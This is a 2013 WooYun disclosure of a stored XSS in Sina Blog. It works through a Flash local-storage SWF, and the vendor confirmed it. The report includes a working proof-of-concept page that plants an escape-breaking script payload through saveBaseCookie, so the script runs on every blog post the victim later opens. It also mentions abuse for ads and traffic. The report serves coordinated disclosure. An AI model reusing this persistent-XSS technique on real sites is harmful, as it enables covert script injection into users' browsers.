当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042916

漏洞标题:新浪博客存储型XSS(全部博客可留后门)

相关厂商:新浪

漏洞作者: 多多关照

提交时间:2013-11-14 17:09

修复时间:2013-12-29 17:09

公开时间:2013-12-29 17:09

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-14: 细节已通知厂商并且等待厂商处理中
2013-11-14: 厂商已经确认,细节仅向厂商公开
2013-11-24: 细节向核心白帽子及相关领域专家公开
2013-12-04: 细节向普通白帽子公开
2013-12-14: 细节向实习白帽子公开
2013-12-29: 细节向公众公开

简要描述:

不多说。

详细说明:

1. 任意打开新浪博客一个博文页面,例如:http://blog.sina.com.cn/s/blog_d38c52360101nhu0.html
2. 页面都会加载 http://d1.sina.com.cn/litong/zhitou/identity.html
3. identity.html页面会调用 http://d1.sina.com.cn/litong/zhitou/storage.swf,并且会调用以下代码:

var fs = me.getFlashStorage({key:"SinaAdFlashKey"});


4. 反编译 http://d1.sina.com.cn/litong/zhitou/storage.swf ,可见以下代码:

ExternalInterface.addCallback("saveBaseCookie", saveBaseCookie);
ExternalInterface.addCallback("getBaseCookie", getBaseCookie);


5. 基于以上信息,可以得知满足 WooYun: 一个flash的0day导致的淘宝网存储xss(可形成永久后门) 中所描述的利用条件。

漏洞证明:

测试仅chrome下进行。

<html>
<body>
<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://d1.sina.com.cn/litong/zhitou/storage.swf">
<param name="allowScriptAccess" value="always">
<embed name="JSocket" src="http://d1.sina.com.cn/litong/zhitou/storage.swf" width="1" height="1" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<script>
function set(){document['JSocket'].saveBaseCookie('SinaAdFlashKey','aa\\";alert(document.domain);1;//aa');}
setTimeout("set()",5000);
</script>
</body>
</html>


由于identity.html中有以下代码:

var fs = me.getFlashStorage({key:"SinaAdFlashKey"});
if(fs){
}else{
fs = gc;
me.setFlashStorage({key:"SinaAdFlashKey",value:gc});
}


利用代码中的 alert(document.domain);1; 中的 1 作为 getBaseCookie('SinaAdFlashKey');函数的返回值,以免 identity.html 中的代码流程覆盖了我们存储在LSO的恶意代码。
---------------------------
新浪博客的用户,在直接或者间接的访问到我们恶意构造的页面后,例如http://itsokla.duapp.com/sinablogxss1.htm,
再访问 新浪的任意博文,都会触发此XSS。

QQ图片20131114170428.jpg

修复方案:


这个XSS本身可能很难对用户自身信息造成大的危害。
不过用来挂广告刷流量之类的,应该还是挺不错的:
1. 恶意代码并非存储在页面之中,隐蔽性极强。
2. 作用范围广,全部博文都会触发。
修复方法:
数据在存入LSO之前,将 \ 过滤。

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2013-11-14 17:31

厂商回复:

感谢关注新浪安全,该问题已经确认,马上安排相关人员修复

最新状态:

暂无


漏洞评价:

评论

  1. 2013-11-14 17:29 | big、face ( 普通白帽子 | Rank:144 漏洞数:36 | |上天请赐我一个洞|想要一件乌云衣服|)

    霸气

  2. 2013-11-14 17:30 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    V5

  3. 2013-11-14 19:08 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    关注

  4. 2013-11-14 22:34 | 好人 ( 路人 | Rank:13 漏洞数:6 | 多少人曾爱慕你年轻的容颜)

    默默关注

  5. 2013-11-14 23:23 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)

    v587

  6. 2013-12-04 17:54 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人,在乌云学技术,去某数...)

    @雷锋 雷锋别激动,赶快把这漏洞写到日志里

  7. 2013-12-14 17:49 | web天空 ( 路人 | Rank:1 漏洞数:1 | 你猜镇,不告诉你村。)

    这个洞很厉害。

  8. 2013-12-30 00:48 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    有点二哥的节奏